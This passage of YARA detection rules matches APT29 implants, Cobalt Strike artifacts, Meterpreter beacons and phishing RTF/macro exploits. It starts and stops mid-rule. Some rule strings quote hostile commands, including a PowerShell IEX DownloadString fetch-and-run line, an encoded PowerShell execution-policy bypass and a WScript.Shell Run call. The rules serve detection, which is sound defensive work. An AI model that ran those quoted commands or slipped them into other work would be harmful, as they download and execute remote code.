	strings:
		$STR1 = { 8A 44 0A 03 32 C3 0F B6 C0 66 89 04 4E 41 3B CF 72 EE }
		$STR2 = { F3 0F 6F 04 08 66 0F EF C1 F3 0F 7F 04 11 83 C1 10 3B CF 72 EB }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( $STR1 or $STR2 )
}

rule IMPLANT_8_v1
{
	meta:
		description = "HAMMERTOSS / HammerDuke Implant by APT29"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 65
		id = "eeaa43c1-6004-5d64-bdc1-f84b3c68d741"

	strings:
		$DOTNET = "mscorlib" ascii
		$REF_URL = "https://www.google.com/url?sa=" wide
		$REF_var_1 = "&rct=" wide
		$REF_var_2 = "&q=&esrc=" wide
		$REF_var_3 = "&source=" wide
		$REF_var_4 = "&cd=" wide
		$REF_var_5 = "&ved=" wide
		$REF_var_6 = "&url=" wide
		$REF_var_7 = "&ei=" wide
		$REF_var_8 = "&usg=" wide
		$REF_var_9 = "&bvm=" wide

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( $DOTNET ) and ( $REF_URL ) and ( 3 of ( $REF_var* ) )
}

rule IMPLANT_9_v1
{
	meta:
		description = "Onion Duke Implant by APT29"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "5460ff29-681b-5d11-a6ba-5f294e8577e6"

	strings:
		$STR1 = { 8B 03 8A 54 01 03 32 55 FF 41 88 54 39 FF 3B CE 72 EE }
		$STR2 = { 8B C8 83 E1 03 8A 54 19 08 8B 4D 08 32 54 01 04 40 88 54 38 FF
         3B C6 72 E7 }
		$STR3 = { 8B 55 F8 8B C8 83 E1 03 8A 4C 11 08 8B 55 FC 32 0C 10 8B 17 88
         4C 02 04 40 3B 06 72 E3 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) ) and all of them
}

rule IMPLANT_10_v2
{
	meta:
		description = "CozyDuke / CozyCar / CozyBear Implant by APT29"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "9c6d4eb9-98a5-5c6d-ba3a-0ce7524c5d2a"

	strings:
		$xor = { 34 ?? 66 33 C1 48 FF C1 }
		$nop = { 66 66 66 66 66 66 0f 1f 84 00 00 00 00 00}

	condition:
		uint16( 0 ) == 0x5A4D and $xor and $nop
}

rule Unidentified_Malware_Two
{
	meta:
		description = "Unidentified Implant by APT29"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "848f2d1f-e352-51c1-ac5d-841bf309f2f2"

	strings:
		$my_string_one = "/zapoy/gate.php"
		$my_string_two = { E3 40 FE 45 FD 0F B6 45 FD 0F B6 14 38 88 55 FF 00 55
         FC 0F B6 45 FC 8A 14 38 88 55 FE 0F B6 45 FD 88 14 38 0F B6 45 FC 8A
         55 FF 88 14 38 8A 55 FF 02 55 FE 8A 14 3A 8B 45 F8 30 14 30 }
		$my_string_three = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb"
		$my_string_four = { 8B CF 0F AF CE 8B C6 99 2B C2 8B 55 08 D1 F8 03 C8
         8B 45 FC 03 C2 89 45 10 8A 00 2B CB 32 C1 85 DB 74 07 }
		$my_string_five = "fuckyou1"
		$my_string_six = "xtool.exe"

	condition:
		($my_string_one and $my_string_two ) or ( $my_string_three or $my_string_four ) or ( $my_string_five and $my_string_six )
}

rule rtf_CVE_2018_0802
{
	meta:
		author = "Rich Warren"
		description = "Attempts to exploit CVE-2018-0802"
		reference = "http://www.freebuf.com/vuls/159789.html"
		id = "162492a3-d792-5f1c-a143-191c62b54728"

	strings:
		$equation = { 45 71 75 61 74 69 6F 6E 2E 33 }
		$header_and_shellcode = /03010[0,1][0-9a-fA-F]{308,310}2500/ ascii nocase

	condition:
		uint32be( 0 ) == 0x7B5C7274 and all of them
}

rule Beacon_K5om
{
	meta:
		description = "Detects Meterpreter Beacon - file K5om.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"
		date = "2017-06-07"
		hash1 = "e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9"
		id = "9354d20a-d798-55bf-a735-820f21d4a861"

	strings:
		$x1 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
		$x2 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
		$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
		$s1 = "Could not open process token: %d (%u)" fullword ascii
		$s2 = "0fd00b.dll" fullword ascii
		$s3 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
		$s4 = "Could not connect to pipe (%s): %d" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and ( 1 of ( $x* ) or 3 of them ) )
}

rule FE_LEGALSTRIKE_MACRO
{
	meta:
		version = ".1"
		filetype = "MACRO"
		author = "Ian.Ahl@fireeye.com @TekDefense - modified by Florian Roth"
		date = "2017-06-02"
		description = "This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7."
		id = "eb15e5aa-16e5-5c07-a293-ad15c0c09d8e"

	strings:
		$ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
		$wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
		$wsobj2 = "Obj.Run " ascii wide

	condition:
		all of them
}

rule FE_LEGALSTRIKE_RTF
{
	meta:
		version = ".1"
		filetype = "MACRO"
		author = "joshua.kim@FireEye. - modified by Florian Roth"
		date = "2017-06-02"
		description = "Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"
		id = "b62ceffa-445f-517e-b86b-56e47876c6c0"

	strings:
		$lnkinfo = "4c0069006e006b0049006e0066006f"
		$encoded1 = "4f4c45324c696e6b"
		$encoded2 = "52006f006f007400200045006e007400720079"
		$encoded3 = "4f0062006a0049006e0066006f"
		$encoded4 = "4f006c0065"
		$datastore = "\\*\\datastore"

	condition:
		uint32be( 0 ) == 0x7B5C7274 and all of them
}

rule CobaltStrike_C2_Host_Indicator
{
	meta:
		description = "Detects CobaltStrike C2 host artifacts"
		author = "yara@s3c.za.net"
		date = "2019-08-16"
		id = "7f15ee30-664e-59b8-9e31-35d88e58a45e"

	strings:
		$c2_indicator_fp = "#Host: %s"
		$c2_indicator = "#Host:"

	condition:
		$c2_indicator and not $c2_indicator_fp and not uint32( 0 ) == 0x0a786564 and not uint32( 0 ) == 0x0a796564
}

rule CobaltStrike_Sleep_Decoder_Indicator
{
	meta:
		description = "Detects CobaltStrike sleep_mask decoder"
		author = "yara@s3c.za.net"
		date = "2021-07-19"
		id = "d5b53d68-55f9-5837-9b0c-e7be2f3bd072"

	strings:
		$sleep_decoder = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 4C 8B 51 08 41 8B F0 48 8B EA 48 8B D9 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 }

	condition:
		$sleep_decoder
}

rule CobaltStrike_C2_Encoded_XOR_Config_Indicator
{
	meta:
		description = "Detects CobaltStrike C2 encoded profile configuration"
		author = "yara@s3c.za.net"
		date = "2021-07-08"
		id = "8e33c63d-eaba-5851-88f4-ef7261a0a618"

	strings:
		$s000 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 03 00 02 00 04 ?? ?? ?? ?? 00 04 00 02 00 04 ?? ?? ?? ?? 00 05 00 01 00 02 ?? ?? }
		$s001 = { 01 00 01 00 01 03 ?? ?? 01 03 01 00 01 03 ?? ?? 01 02 01 03 01 05 ?? ?? ?? ?? 01 05 01 03 01 05 ?? ?? ?? ?? 01 04 01 00 01 03 ?? ?? }
		$s002 = { 02 03 02 03 02 00 ?? ?? 02 00 02 03 02 00 ?? ?? 02 01 02 00 02 06 ?? ?? ?? ?? 02 06 02 00 02 06 ?? ?? ?? ?? 02 07 02 03 02 00 ?? ?? }
		$s003 = { 03 02 03 02 03 01 ?? ?? 03 01 03 02 03 01 ?? ?? 03 00 03 01 03 07 ?? ?? ?? ?? 03 07 03 01 03 07 ?? ?? ?? ?? 03 06 03 02 03 01 ?? ?? }
		$s004 = { 04 05 04 05 04 06 ?? ?? 04 06 04 05 04 06 ?? ?? 04 07 04 06 04 00 ?? ?? ?? ?? 04 00 04 06 04 00 ?? ?? ?? ?? 04 01 04 05 04 06 ?? ?? }
		$s005 = { 05 04 05 04 05 07 ?? ?? 05 07 05 04 05 07 ?? ?? 05 06 05 07 05 01 ?? ?? ?? ?? 05 01 05 07 05 01 ?? ?? ?? ?? 05 00 05 04 05 07 ?? ?? }
		$s006 = { 06 07 06 07 06 04 ?? ?? 06 04 06 07 06 04 ?? ?? 06 05 06 04 06 02 ?? ?? ?? ?? 06 02 06 04 06 02 ?? ?? ?? ?? 06 03 06 07 06 04 ?? ?? }
		$s007 = { 07 06 07 06 07 05 ?? ?? 07 05 07 06 07 05 ?? ?? 07 04 07 05 07 03 ?? ?? ?? ?? 07 03 07 05 07 03 ?? ?? ?? ?? 07 02 07 06 07 05 ?? ?? }
		$s008 = { 08 09 08 09 08 0A ?? ?? 08 0A 08 09 08 0A ?? ?? 08 0B 08 0A 08 0C ?? ?? ?? ?? 08 0C 08 0A 08 0C ?? ?? ?? ?? 08 0D 08 09 08 0A ?? ?? }
		$s009 = { 09 08 09 08 09 0B ?? ?? 09 0B 09 08 09 0B ?? ?? 09 0A 09 0B 09 0D ?? ?? ?? ?? 09 0D 09 0B 09 0D ?? ?? ?? ?? 09 0C 09 08 09 0B ?? ?? }
		$s010 = { 0A 0B 0A 0B 0A 08 ?? ?? 0A 08 0A 0B 0A 08 ?? ?? 0A 09 0A 08 0A 0E ?? ?? ?? ?? 0A 0E 0A 08 0A 0E ?? ?? ?? ?? 0A 0F 0A 0B 0A 08 ?? ?? }
		$s011 = { 0B 0A 0B 0A 0B 09 ?? ?? 0B 09 0B 0A 0B 09 ?? ?? 0B 08 0B 09 0B 0F ?? ?? ?? ?? 0B 0F 0B 09 0B 0F ?? ?? ?? ?? 0B 0E 0B 0A 0B 09 ?? ?? }
		$s012 = { 0C 0D 0C 0D 0C 0E ?? ?? 0C 0E 0C 0D 0C 0E ?? ?? 0C 0F 0C 0E 0C 08 ?? ?? ?? ?? 0C 08 0C 0E 0C 08 ?? ?? ?? ?? 0C 09 0C 0D 0C 0E ?? ?? }
		$s013 = { 0D 0C 0D 0C 0D 0F ?? ?? 0D 0F 0D 0C 0D 0F ?? ?? 0D 0E 0D 0F 0D 09 ?? ?? ?? ?? 0D 09 0D 0F 0D 09 ?? ?? ?? ?? 0D 08 0D 0C 0D 0F ?? ?? }
		$s014 = { 0E 0F 0E 0F 0E 0C ?? ?? 0E 0C 0E 0F 0E 0C ?? ?? 0E 0D 0E 0C 0E 0A ?? ?? ?? ?? 0E 0A 0E 0C 0E 0A ?? ?? ?? ?? 0E 0B 0E 0F 0E 0C ?? ?? }
		$s015 = { 0F 0E 0F 0E 0F 0D ?? ?? 0F 0D 0F 0E 0F 0D ?? ?? 0F 0C 0F 0D 0F 0B ?? ?? ?? ?? 0F 0B 0F 0D 0F 0B ?? ?? ?? ?? 0F 0A 0F 0E 0F 0D ?? ?? }
		$s016 = { 10 11 10 11 10 12 ?? ?? 10 12 10 11 10 12 ?? ?? 10 13 10 12 10 14 ?? ?? ?? ?? 10 14 10 12 10 14 ?? ?? ?? ?? 10 15 10 11 10 12 ?? ?? }
		$s017 = { 11 10 11 10 11 13 ?? ?? 11 13 11 10 11 13 ?? ?? 11 12 11 13 11 15 ?? ?? ?? ?? 11 15 11 13 11 15 ?? ?? ?? ?? 11 14 11 10 11 13 ?? ?? }
		$s018 = { 12 13 12 13 12 10 ?? ?? 12 10 12 13 12 10 ?? ?? 12 11 12 10 12 16 ?? ?? ?? ?? 12 16 12 10 12 16 ?? ?? ?? ?? 12 17 12 13 12 10 ?? ?? }
		$s019 = { 13 12 13 12 13 11 ?? ?? 13 11 13 12 13 11 ?? ?? 13 10 13 11 13 17 ?? ?? ?? ?? 13 17 13 11 13 17 ?? ?? ?? ?? 13 16 13 12 13 11 ?? ?? }
		$s020 = { 14 15 14 15 14 16 ?? ?? 14 16 14 15 14 16 ?? ?? 14 17 14 16 14 10 ?? ?? ?? ?? 14 10 14 16 14 10 ?? ?? ?? ?? 14 11 14 15 14 16 ?? ?? }
		$s021 = { 15 14 15 14 15 17 ?? ?? 15 17 15 14 15 17 ?? ?? 15 16 15 17 15 11 ?? ?? ?? ?? 15 11 15 17 15 11 ?? ?? ?? ?? 15 10 15 14 15 17 ?? ?? }
		$s022 = { 16 17 16 17 16 14 ?? ?? 16 14 16 17 16 14 ?? ?? 16 15 16 14 16 12 ?? ?? ?? ?? 16 12 16 14 16 12 ?? ?? ?? ?? 16 13 16 17 16 14 ?? ?? }
		$s023 = { 17 16 17 16 17 15 ?? ?? 17 15 17 16 17 15 ?? ?? 17 14 17 15 17 13 ?? ?? ?? ?? 17 13 17 15 17 13 ?? ?? ?? ?? 17 12 17 16 17 15 ?? ?? }
		$s024 = { 18 19 18 19 18 1A ?? ?? 18 1A 18 19 18 1A ?? ?? 18 1B 18 1A 18 1C ?? ?? ?? ?? 18 1C 18 1A 18 1C ?? ?? ?? ?? 18 1D 18 19 18 1A ?? ?? }
		$s025 = { 19 18 19 18 19 1B ?? ?? 19 1B 19 18 19 1B ?? ?? 19 1A 19 1B 19 1D ?? ?? ?? ?? 19 1D 19 1B 19 1D ?? ?? ?? ?? 19 1C 19 18 19 1B ?? ?? }
		$s026 = { 1A 1B 1A 1B 1A 18 ?? ?? 1A 18 1A 1B 1A 18 ?? ?? 1A 19 1A 18 1A 1E ?? ?? ?? ?? 1A 1E 1A 18 1A 1E ?? ?? ?? ?? 1A 1F 1A 1B 1A 18 ?? ?? }
		$s027 = { 1B 1A 1B 1A 1B 19 ?? ?? 1B 19 1B 1A 1B 19 ?? ?? 1B 18 1B 19 1B 1F ?? ?? ?? ?? 1B 1F 1B 19 1B 1F ?? ?? ?? ?? 1B 1E 1B 1A 1B 19 ?? ?? }
		$s028 = { 1C 1D 1C 1D 1C 1E ?? ?? 1C 1E 1C 1D 1C 1E ?? ?? 1C 1F 1C 1E 1C 18 ?? ?? ?? ?? 1C 18 1C 1E 1C 18 ?? ?? ?? ?? 1C 19 1C 1D 1C 1E ?? ?? }
		$s029 = { 1D 1C 1D 1C 1D 1F ?? ?? 1D 1F 1D 1C 1D 1F ?? ?? 1D 1E 1D 1F 1D 19 ?? ?? ?? ?? 1D 19 1D 1F 1D 19 ?? ?? ?? ?? 1D 18 1D 1C 1D 1F ?? ?? }
		$s030 = { 1E 1F 1E 1F 1E 1C ?? ?? 1E 1C 1E 1F 1E 1C ?? ?? 1E 1D 1E 1C 1E 1A ?? ?? ?? ?? 1E 1A 1E 1C 1E 1A ?? ?? ?? ?? 1E 1B 1E 1F 1E 1C ?? ?? }
		$s031 = { 1F 1E 1F 1E 1F 1D ?? ?? 1F 1D 1F 1E 1F 1D ?? ?? 1F 1C 1F 1D 1F 1B ?? ?? ?? ?? 1F 1B 1F 1D 1F 1B ?? ?? ?? ?? 1F 1A 1F 1E 1F 1D ?? ?? }
		$s032 = { 20 21 20 21 20 22 ?? ?? 20 22 20 21 20 22 ?? ?? 20 23 20 22 20 24 ?? ?? ?? ?? 20 24 20 22 20 24 ?? ?? ?? ?? 20 25 20 21 20 22 ?? ?? }
		$s033 = { 21 20 21 20 21 23 ?? ?? 21 23 21 20 21 23 ?? ?? 21 22 21 23 21 25 ?? ?? ?? ?? 21 25 21 23 21 25 ?? ?? ?? ?? 21 24 21 20 21 23 ?? ?? }
		$s034 = { 22 23 22 23 22 20 ?? ?? 22 20 22 23 22 20 ?? ?? 22 21 22 20 22 26 ?? ?? ?? ?? 22 26 22 20 22 26 ?? ?? ?? ?? 22 27 22 23 22 20 ?? ?? }
		$s035 = { 23 22 23 22 23 21 ?? ?? 23 21 23 22 23 21 ?? ?? 23 20 23 21 23 27 ?? ?? ?? ?? 23 27 23 21 23 27 ?? ?? ?? ?? 23 26 23 22 23 21 ?? ?? }
		$s036 = { 24 25 24 25 24 26 ?? ?? 24 26 24 25 24 26 ?? ?? 24 27 24 26 24 20 ?? ?? ?? ?? 24 20 24 26 24 20 ?? ?? ?? ?? 24 21 24 25 24 26 ?? ?? }
		$s037 = { 25 24 25 24 25 27 ?? ?? 25 27 25 24 25 27 ?? ?? 25 26 25 27 25 21 ?? ?? ?? ?? 25 21 25 27 25 21 ?? ?? ?? ?? 25 20 25 24 25 27 ?? ?? }
		$s038 = { 26 27 26 27 26 24 ?? ?? 26 24 26 27 26 24 ?? ?? 26 25 26 24 26 22 ?? ?? ?? ?? 26 22 26 24 26 22 ?? ?? ?? ?? 26 23 26 27 26 24 ?? ?? }
		$s039 = { 27 26 27 26 27 25 ?? ?? 27 25 27 26 27 25 ?? ?? 27 24 27 25 27 23 ?? ?? ?? ?? 27 23 27 25 27 23 ?? ?? ?? ?? 27 22 27 26 27 25 ?? ?? }
		$s040 = { 28 29 28 29 28 2A ?? ?? 28 2A 28 29 28 2A ?? ?? 28 2B 28 2A 28 2C ?? ?? ?? ?? 28 2C 28 2A 28 2C ?? ?? ?? ?? 28 2D 28 29 28 2A ?? ?? }
		$s041 = { 29 28 29 28 29 2B ?? ?? 29 2B 29 28 29 2B ?? ?? 29 2A 29 2B 29 2D ?? ?? ?? ?? 29 2D 29 2B 29 2D ?? ?? ?? ?? 29 2C 29 28 29 2B ?? ?? }
		$s042 = { 2A 2B 2A 2B 2A 28 ?? ?? 2A 28 2A 2B 2A 28 ?? ?? 2A 29 2A 28 2A 2E ?? ?? ?? ?? 2A 2E 2A 28 2A 2E ?? ?? ?? ?? 2A 2F 2A 2B 2A 28 ?? ?? }
		$s043 = { 2B 2A 2B 2A 2B 29 ?? ?? 2B 29 2B 2A 2B 29 ?? ?? 2B 28 2B 29 2B 2F ?? ?? ?? ?? 2B 2F 2B 29 2B 2F ?? ?? ?? ?? 2B 2E 2B 2A 2B 29 ?? ?? }
		$s044 = { 2C 2D 2C 2D 2C 2E ?? ?? 2C 2E 2C 2D 2C 2E ?? ?? 2C 2F 2C 2E 2C 28 ?? ?? ?? ?? 2C 28 2C 2E 2C 28 ?? ?? ?? ?? 2C 29 2C 2D 2C 2E ?? ?? }
		$s045 = { 2D 2C 2D 2C 2D 2F ?? ?? 2D 2F 2D 2C 2D 2F ?? ?? 2D 2E 2D 2F 2D 29 ?? ?? ?? ?? 2D 29 2D 2F 2D 29 ?? ?? ?? ?? 2D 28 2D 2C 2D 2F ?? ?? }
		$s046 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E 2D 2E 2C 2E 2A ?? ?? ?? ?? 2E 2A 2E 2C 2E 2A ?? ?? ?? ?? 2E 2B 2E 2F 2E 2C ?? ?? }
		$s047 = { 2F 2E 2F 2E 2F 2D ?? ?? 2F 2D 2F 2E 2F 2D ?? ?? 2F 2C 2F 2D 2F 2B ?? ?? ?? ?? 2F 2B 2F 2D 2F 2B ?? ?? ?? ?? 2F 2A 2F 2E 2F 2D ?? ?? }
		$s048 = { 30 31 30 31 30 32 ?? ?? 30 32 30 31 30 32 ?? ?? 30 33 30 32 30 34 ?? ?? ?? ?? 30 34 30 32 30 34 ?? ?? ?? ?? 30 35 30 31 30 32 ?? ?? }
		$s049 = { 31 30 31 30 31 33 ?? ?? 31 33 31 30 31 33 ?? ?? 31 32 31 33 31 35 ?? ?? ?? ?? 31 35 31 33 31 35 ?? ?? ?? ?? 31 34 31 30 31 33 ?? ?? }
		$s050 = { 32 33 32 33 32 30 ?? ?? 32 30 32 33 32 30 ?? ?? 32 31 32 30 32 36 ?? ?? ?? ?? 32 36 32 30 32 36 ?? ?? ?? ?? 32 37 32 33 32 30 ?? ?? }
		$s051 = { 33 32 33 32 33 31 ?? ?? 33 31 33 32 33 31 ?? ?? 33 30 33 31 33 37 ?? ?? ?? ?? 33 37 33 31 33 37 ?? ?? ?? ?? 33 36 33 32 33 31 ?? ?? }
		$s052 = { 34 35 34 35 34 36 ?? ?? 34 36 34 35 34 36 ?? ?? 34 37 34 36 34 30 ?? ?? ?? ?? 34 30 34 36 34 30 ?? ?? ?? ?? 34 31 34 35 34 36 ?? ?? }
		$s053 = { 35 34 35 34 35 37 ?? ?? 35 37 35 34 35 37 ?? ?? 35 36 35 37 35 31 ?? ?? ?? ?? 35 31 35 37 35 31 ?? ?? ?? ?? 35 30 35 34 35 37 ?? ?? }
		$s054 = { 36 37 36 37 36 34 ?? ?? 36 34 36 37 36 34 ?? ?? 36 35 36 34 36 32 ?? ?? ?? ?? 36 32 36 34 36 32 ?? ?? ?? ?? 36 33 36 37 36 34 ?? ?? }
		$s055 = { 37 36 37 36 37 35 ?? ?? 37 35 37 36 37 35 ?? ?? 37 34 37 35 37 33 ?? ?? ?? ?? 37 33 37 35 37 33 ?? ?? ?? ?? 37 32 37 36 37 35 ?? ?? }
		$s056 = { 38 39 38 39 38 3A ?? ?? 38 3A 38 39 38 3A ?? ?? 38 3B 38 3A 38 3C ?? ?? ?? ?? 38 3C 38 3A 38 3C ?? ?? ?? ?? 38 3D 38 39 38 3A ?? ?? }
		$s057 = { 39 38 39 38 39 3B ?? ?? 39 3B 39 38 39 3B ?? ?? 39 3A 39 3B 39 3D ?? ?? ?? ?? 39 3D 39 3B 39 3D ?? ?? ?? ?? 39 3C 39 38 39 3B ?? ?? }
		$s058 = { 3A 3B 3A 3B 3A 38 ?? ?? 3A 38 3A 3B 3A 38 ?? ?? 3A 39 3A 38 3A 3E ?? ?? ?? ?? 3A 3E 3A 38 3A 3E ?? ?? ?? ?? 3A 3F 3A 3B 3A 38 ?? ?? }
		$s059 = { 3B 3A 3B 3A 3B 39 ?? ?? 3B 39 3B 3A 3B 39 ?? ?? 3B 38 3B 39 3B 3F ?? ?? ?? ?? 3B 3F 3B 39 3B 3F ?? ?? ?? ?? 3B 3E 3B 3A 3B 39 ?? ?? }
		$s060 = { 3C 3D 3C 3D 3C 3E ?? ?? 3C 3E 3C 3D 3C 3E ?? ?? 3C 3F 3C 3E 3C 38 ?? ?? ?? ?? 3C 38 3C 3E 3C 38 ?? ?? ?? ?? 3C 39 3C 3D 3C 3E ?? ?? }
		$s061 = { 3D 3C 3D 3C 3D 3F ?? ?? 3D 3F 3D 3C 3D 3F ?? ?? 3D 3E 3D 3F 3D 39 ?? ?? ?? ?? 3D 39 3D 3F 3D 39 ?? ?? ?? ?? 3D 38 3D 3C 3D 3F ?? ?? }
		$s062 = { 3E 3F 3E 3F 3E 3C ?? ?? 3E 3C 3E 3F 3E 3C ?? ?? 3E 3D 3E 3C 3E 3A ?? ?? ?? ?? 3E 3A 3E 3C 3E 3A ?? ?? ?? ?? 3E 3B 3E 3F 3E 3C ?? ?? }
		$s063 = { 3F 3E 3F 3E 3F 3D ?? ?? 3F 3D 3F 3E 3F 3D ?? ?? 3F 3C 3F 3D 3F 3B ?? ?? ?? ?? 3F 3B 3F 3D 3F 3B ?? ?? ?? ?? 3F 3A 3F 3E 3F 3D ?? ?? }
		$s064 = { 40 41 40 41 40 42 ?? ?? 40 42 40 41 40 42 ?? ?? 40 43 40 42 40 44 ?? ?? ?? ?? 40 44 40 42 40 44 ?? ?? ?? ?? 40 45 40 41 40 42 ?? ?? }
		$s065 = { 41 40 41 40 41 43 ?? ?? 41 43 41 40 41 43 ?? ?? 41 42 41 43 41 45 ?? ?? ?? ?? 41 45 41 43 41 45 ?? ?? ?? ?? 41 44 41 40 41 43 ?? ?? }
		$s066 = { 42 43 42 43 42 40 ?? ?? 42 40 42 43 42 40 ?? ?? 42 41 42 40 42 46 ?? ?? ?? ?? 42 46 42 40 42 46 ?? ?? ?? ?? 42 47 42 43 42 40 ?? ?? }
		$s067 = { 43 42 43 42 43 41 ?? ?? 43 41 43 42 43 41 ?? ?? 43 40 43 41 43 47 ?? ?? ?? ?? 43 47 43 41 43 47 ?? ?? ?? ?? 43 46 43 42 43 41 ?? ?? }
		$s068 = { 44 45 44 45 44 46 ?? ?? 44 46 44 45 44 46 ?? ?? 44 47 44 46 44 40 ?? ?? ?? ?? 44 40 44 46 44 40 ?? ?? ?? ?? 44 41 44 45 44 46 ?? ?? }
		$s069 = { 45 44 45 44 45 47 ?? ?? 45 47 45 44 45 47 ?? ?? 45 46 45 47 45 41 ?? ?? ?? ?? 45 41 45 47 45 41 ?? ?? ?? ?? 45 40 45 44 45 47 ?? ?? }
		$s070 = { 46 47 46 47 46 44 ?? ?? 46 44 46 47 46 44 ?? ?? 46 45 46 44 46 42 ?? ?? ?? ?? 46 42 46 44 46 42 ?? ?? ?? ?? 46 43 46 47 46 44 ?? ?? }
		$s071 = { 47 46 47 46 47 45 ?? ?? 47 45 47 46 47 45 ?? ?? 47 44 47 45 47 43 ?? ?? ?? ?? 47 43 47 45 47 43 ?? ?? ?? ?? 47 42 47 46 47 45 ?? ?? }
		$s072 = { 48 49 48 49 48 4A ?? ?? 48 4A 48 49 48 4A ?? ?? 48 4B 48 4A 48 4C ?? ?? ?? ?? 48 4C 48 4A 48 4C ?? ?? ?? ?? 48 4D 48 49 48 4A ?? ?? }
		$s073 = { 49 48 49 48 49 4B ?? ?? 49 4B 49 48 49 4B ?? ?? 49 4A 49 4B 49 4D ?? ?? ?? ?? 49 4D 49 4B 49 4D ?? ?? ?? ?? 49 4C 49 48 49 4B ?? ?? }
		$s074 = { 4A 4B 4A 4B 4A 48 ?? ?? 4A 48 4A 4B 4A 48 ?? ?? 4A 49 4A 48 4A 4E ?? ?? ?? ?? 4A 4E 4A 48 4A 4E ?? ?? ?? ?? 4A 4F 4A 4B 4A 48 ?? ?? }
		$s075 = { 4B 4A 4B 4A 4B 49 ?? ?? 4B 49 4B 4A 4B 49 ?? ?? 4B 48 4B 49 4B 4F ?? ?? ?? ?? 4B 4F 4B 49 4B 4F ?? ?? ?? ?? 4B 4E 4B 4A 4B 49 ?? ?? }
		$s076 = { 4C 4D 4C 4D 4C 4E ?? ?? 4C 4E 4C 4D 4C 4E ?? ?? 4C 4F 4C 4E 4C 48 ?? ?? ?? ?? 4C 48 4C 4E 4C 48 ?? ?? ?? ?? 4C 49 4C 4D 4C 4E ?? ?? }
		$s077 = { 4D 4C 4D 4C 4D 4F ?? ?? 4D 4F 4D 4C 4D 4F ?? ?? 4D 4E 4D 4F 4D 49 ?? ?? ?? ?? 4D 49 4D 4F 4D 49 ?? ?? ?? ?? 4D 48 4D 4C 4D 4F ?? ?? }
		$s078 = { 4E 4F 4E 4F 4E 4C ?? ?? 4E 4C 4E 4F 4E 4C ?? ?? 4E 4D 4E 4C 4E 4A ?? ?? ?? ?? 4E 4A 4E 4C 4E 4A ?? ?? ?? ?? 4E 4B 4E 4F 4E 4C ?? ?? }
		$s079 = { 4F 4E 4F 4E 4F 4D ?? ?? 4F 4D 4F 4E 4F 4D ?? ?? 4F 4C 4F 4D 4F 4B ?? ?? ?? ?? 4F 4B 4F 4D 4F 4B ?? ?? ?? ?? 4F 4A 4F 4E 4F 4D ?? ?? }
		$s080 = { 50 51 50 51 50 52 ?? ?? 50 52 50 51 50 52 ?? ?? 50 53 50 52 50 54 ?? ?? ?? ?? 50 54 50 52 50 54 ?? ?? ?? ?? 50 55 50 51 50 52 ?? ?? }
		$s081 = { 51 50 51 50 51 53 ?? ?? 51 53 51 50 51 53 ?? ?? 51 52 51 53 51 55 ?? ?? ?? ?? 51 55 51 53 51 55 ?? ?? ?? ?? 51 54 51 50 51 53 ?? ?? }
		$s082 = { 52 53 52 53 52 50 ?? ?? 52 50 52 53 52 50 ?? ?? 52 51 52 50 52 56 ?? ?? ?? ?? 52 56 52 50 52 56 ?? ?? ?? ?? 52 57 52 53 52 50 ?? ?? }
		$s083 = { 53 52 53 52 53 51 ?? ?? 53 51 53 52 53 51 ?? ?? 53 50 53 51 53 57 ?? ?? ?? ?? 53 57 53 51 53 57 ?? ?? ?? ?? 53 56 53 52 53 51 ?? ?? }
		$s084 = { 54 55 54 55 54 56 ?? ?? 54 56 54 55 54 56 ?? ?? 54 57 54 56 54 50 ?? ?? ?? ?? 54 50 54 56 54 50 ?? ?? ?? ?? 54 51 54 55 54 56 ?? ?? }
		$s085 = { 55 54 55 54 55 57 ?? ?? 55 57 55 54 55 57 ?? ?? 55 56 55 57 55 51 ?? ?? ?? ?? 55 51 55 57 55 51 ?? ?? ?? ?? 55 50 55 54 55 57 ?? ?? }
		$s086 = { 56 57 56 57 56 54 ?? ?? 56 54 56 57 56 54 ?? ?? 56 55 56 54 56 52 ?? ?? ?? ?? 56 52 56 54 56 52 ?? ?? ?? ?? 56 53 56 57 56 54 ?? ?? }
